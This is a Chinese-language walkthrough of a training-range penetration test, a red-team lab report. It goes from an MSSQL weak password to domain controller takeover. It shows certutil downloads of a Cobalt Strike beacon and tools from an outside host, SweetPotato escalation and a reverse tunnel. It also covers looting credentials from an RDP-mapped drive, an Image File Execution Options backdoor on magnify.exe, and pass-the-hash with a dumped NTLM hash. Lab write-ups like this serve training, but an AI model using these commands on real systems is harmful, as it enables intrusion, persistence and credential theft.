https://www.c1trus.top/37-%E9%9D%B6%E6%9C%BAwp/1-%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/%E4%BB%BF%E7%9C%9F%E5%9C%BA%E6%99%AF/tsclient.html

开局一个ip

我们老样子,先扫常见端口

39.99.131.64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
D:\red\内网\免杀工具包\免杀工具包\fscan火绒6.0免杀版\未免杀5号黯区红队开发的fscan图形化和plus>fscan.exe -h 39.99.131.64

______ _____ _
| ____| | __ \| |
| |__ ___ ___ __ _ _ __ | |__) | |_ _ ___
| __/ __|/ __/ _ | _ \| ___/| | | | / __|
| | \__ \ (_| (_| | | | | | | | |_| \__ \
|_| |___/\___\__,_|_| |_|_| |_|\__,_|___/
fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
39.99.131.64:1433 open
[*] alive ports len is: 1
start vulscan
[+] mssql 39.99.131.64:1433:sa 1qaz!QAZ
已完成 1/1
[*] 扫描结束,耗时: 17.3737851s

扫的有点不全,但是不影响我们getshell

1
39.99.131.64                    mssql        弱口令 sa 1qaz!QAZ

连接成功,接下来查看一下xp_cmpshell开没开

可以看到仅为mssqlserver权限

上线cs

先启动cs,再文件托管将a.exe上传到靶机

1
certutil -f -split -urlcache http://47.113.229.136:8080/a.exe C:\Users\Public\a.exe

成功上线

信息收集一下

直接看土豆家族是否能提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[05/30 10:17:11] beacon> shell whoami /priv
[05/30 10:17:11] [*] Tasked beacon to run: whoami /priv
[05/30 10:17:17] [+] host called home, sent: 75 bytes
[05/30 10:17:18] [+] received output:

特权信息
----------------------

特权名 描述 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用

SeImpersonatePrivilege 身份验证后模拟客户端 已启用

有这个权限

上传SweetPotato进行提权

1
certutil -f -split -urlcache http://47.113.229.136:8080/SweetPotato.exe C:\Users\Public\SweetPotato.exe

1
shell C:\Users\Public\SweetPotato.exe -a C:\Users\Public\a.exe

提权成功

接下来进行内网信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
[05/30 10:19:54] beacon> shell ipconfig -all
[05/30 10:19:54] [*] Tasked beacon to run: ipconfig -all
[05/30 10:19:54] [+] host called home, sent: 44 bytes
[05/30 10:19:55] [+] received output:

Windows IP 配置

主机名 . . . . . . . . . . . . . : WIN-WEB
主 DNS 后缀 . . . . . . . . . . . :
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否

以太网适配器 以太网:

连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Red Hat VirtIO Ethernet Adapter
物理地址. . . . . . . . . . . . . : 00-16-3E-28-AD-AF
DHCP 已启用 . . . . . . . . . . . : 是
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::402:1e2a:6e40:be5f%14(首选)
IPv4 地址 . . . . . . . . . . . . : 172.22.8.18(首选)
子网掩码 . . . . . . . . . . . . : 255.255.0.0
获得租约的时间 . . . . . . . . . : 2025年5月30日 10:08:00
租约过期的时间 . . . . . . . . . : 2038年1月19日 11:14:08
默认网关. . . . . . . . . . . . . : 172.22.255.253
DHCP 服务器 . . . . . . . . . . . : 172.22.255.253
DHCPv6 IAID . . . . . . . . . . . : 50337342
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-2F-CA-CB-58-00-16-3E-28-AD-AF
DNS 服务器 . . . . . . . . . . . : 100.100.2.136
100.100.2.138
TCPIP 上的 NetBIOS . . . . . . . : 已启用

隧道适配器 isatap.{E309DFD0-37D7-4E89-A23A-3C61210B34EA}:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter
物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是

隧道适配器 Teredo Tunneling Pseudo-Interface:

连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
IPv6 地址 . . . . . . . . . . . . : 2001:0:348b:fb58:845:161:d89c:7cbf(首选)
本地链接 IPv6 地址. . . . . . . . : fe80::845:161:d89c:7cbf%12(首选)
默认网关. . . . . . . . . . . . . : ::
DHCPv6 IAID . . . . . . . . . . . : 134217728
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-2F-CA-CB-58-00-16-3E-28-AD-AF
TCPIP 上的 NetBIOS . . . . . . . : 已禁用

整理一下,看见了172.22.8.18/24这个网段

上传fscan进行探测

1
certutil -f -split -urlcache http://47.113.229.136:8080/fscan.exe C:\Users\Public\fscan.exe

防止防火墙禁止icmp协议

1
shell fscan.exe -h 172.22.8.18/24 -np
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
172.22.8.18:80 open
172.22.8.46:80 open
172.22.8.15:135 open
172.22.8.18:135 open
172.22.8.31:135 open
172.22.8.46:135 open
172.22.8.15:139 open
172.22.8.18:139 open
172.22.8.31:139 open
172.22.8.46:139 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.31:445 open
172.22.8.46:445 open
172.22.8.18:1433 open
172.22.8.15:88 open
[*] WebTitle http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetInfo
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetInfo
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:845:161:d89c:7cbf
[*] NetInfo
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetInfo
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT Windows Version 10.0 Build 17763
[*] NetBios 172.22.8.15 [+] DC:XIAORANG\DC01 Windows Version 10.0 Build 20348
[*] WebTitle http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
[*] NetBios 172.22.8.18 WIN-WEB Windows Server 2016 Datacenter 14393

在扫的同时挂隧道代理

1
2
3
4
5
6
certutil -f -split -urlcache http://47.113.229.136:8080/stowaway_windows/windows_x64_agent.exe C:\Users\Public\windows_x64_agent.exe

linux_x64_admin -l 1122

windows_x64_agent.exe -c 47.113.229.136:1122

那么我们来整理一下资产吧

1
2
3
4
39.99.131.64   172.22.8.18 已拿下                mssql        弱口令 sa 1qaz!QAZ
172.22.8.15 [+] DC:XIAORANG\DC01
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab

信息收集一下

查看有无在线用户

1
shell quser || qwinst

使用进程注入拿到这个用户的shell

查看挂载情况

1
shell net use

可以看到挂载的C盘也为\TSCLIENT\

靶机的名字

查看一下有没有什么敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[05/30 10:41:05] beacon> shell dir \\TSCLIENT\C
[05/30 10:41:05] [*] Tasked beacon to run: dir \\TSCLIENT\C
[05/30 10:41:05] [+] host called home, sent: 47 bytes
[05/30 10:41:05] [+] received output:
'\\TSCLIENT\C'
用作为当前目录的以上路径启动了 CMD.EXE。
UNC 路径不受支持。默认值设为 Windows 目录。
驱动器 \\TSCLIENT\C 中的卷没有标签。
卷的序列号是 C2C5-9D0C

\\TSCLIENT\C 的目录

2022/07/12 10:34 71 credential.txt
2022/05/12 17:04 <DIR> PerfLogs
2022/07/11 12:53 <DIR> Program Files
2022/05/18 11:30 <DIR> Program Files (x86)
2022/07/11 12:47 <DIR> Users
2022/07/11 12:45 <DIR> Windows
1 个文件 71 字节
5 个目录 30,035,951,616 可用字节




[05/30 10:41:49] beacon> shell type \\TSCLIENT\C\credential.txt
[05/30 10:41:49] [*] Tasked beacon to run: type \\TSCLIENT\C\credential.txt
[05/30 10:41:49] [+] host called home, sent: 63 bytes
[05/30 10:41:49] [+] received output:
'\\TSCLIENT\C'
用作为当前目录的以上路径启动了 CMD.EXE。
UNC 路径不受支持。默认值设为 Windows 目录。
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

可以看到提醒了映像劫持,还给了账号密码

1
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~]
└─# proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
"class": algorithms.Blowfish,
SMB 172.22.8.18 445 WIN-WEB [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-WEB) (domain:WIN-WEB) (signing:False) (SMBv1:True)
SMB 172.22.8.46 445 WIN2016 [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.8.15 445 DC01 [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB 172.22.8.31 445 WIN19-CLIENT [*] Windows 10.0 Build 17763 x64 (name:WIN19-CLIENT) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB 172.22.8.18 445 WIN-WEB [-] WIN-WEB\Aldrich:Ald@rLMWuy7Z!# STATUS_LOGON_FAILURE
SMB 172.22.8.46 445 WIN2016 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB 172.22.8.15 445 DC01 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED
SMB 172.22.8.31 445 WIN19-CLIENT [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# STATUS_PASSWORD_EXPIRED

那么需要修改密码,其实kali直接rdp也可以修改密码(这里并没有成功)

1
2
3
4
python smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Admin123$%'

proxychains4 python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Admin123$%'

1
proxychains4 rdesktop -u Aldrich -d xiaorang.lab -p Ald@rLMWuy7Z -g 1920x1080 172.22.8.15:3389
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[/home/kali/red/impacket-0.11.0/examples]
└─# proxychains4 python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Admin123$%'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.11.0 - Copyright 2023 Fortra

===============================================================================
Warning: This functionality will be deprecated in the next Impacket version
===============================================================================

[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.8.15:445 ... OK
[!] Password is expired, trying to bind with a null session.
[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.8.15:445 ... OK
[*] Password was changed successfully.

连域控发现连不上

转发上线

1
connect 172.22.8.46 8899

前面还提到了映像劫持

1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

放大镜提权

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

在这里再次运行cs木马,连接,成功上线

1
connect 172.22.8.46 8899

信息收集,发现本地WIN2016$也在域管组内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[05/30 11:48:08] beacon> shell net group "domain admins" /domain
[05/30 11:48:09] [*] Tasked beacon to run: net group "domain admins" /domain
[05/30 11:48:09] [+] host called home, sent: 64 bytes
[05/30 11:48:09] [+] received output:
这项请求将在域 xiaorang.lab 的域控制器处理。

组名 Domain Admins
注释 指定的域管理员

成员

-------------------------------------------------------------------------------
Administrator WIN2016$
命令成功完成。



抓取密码本机密码进行横向

那么接下来就是pth了

1
2
3
4
5
6
7
8
9
10
11
12
13
SID               : 
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 0b7ee75356ad0ffa0902a954b9561a11
* SHA1 : 5b852756a3ea35073888a569b3f72dc34600d101
tspkg :
wdigest :
kerberos :
ssp :
credman :

1
wmiexec.py -hashes :0b7ee75356ad0ffa0902a954b9561a11 xiaorang.lab/WIN2016$@172.22.8.15 -codec gbk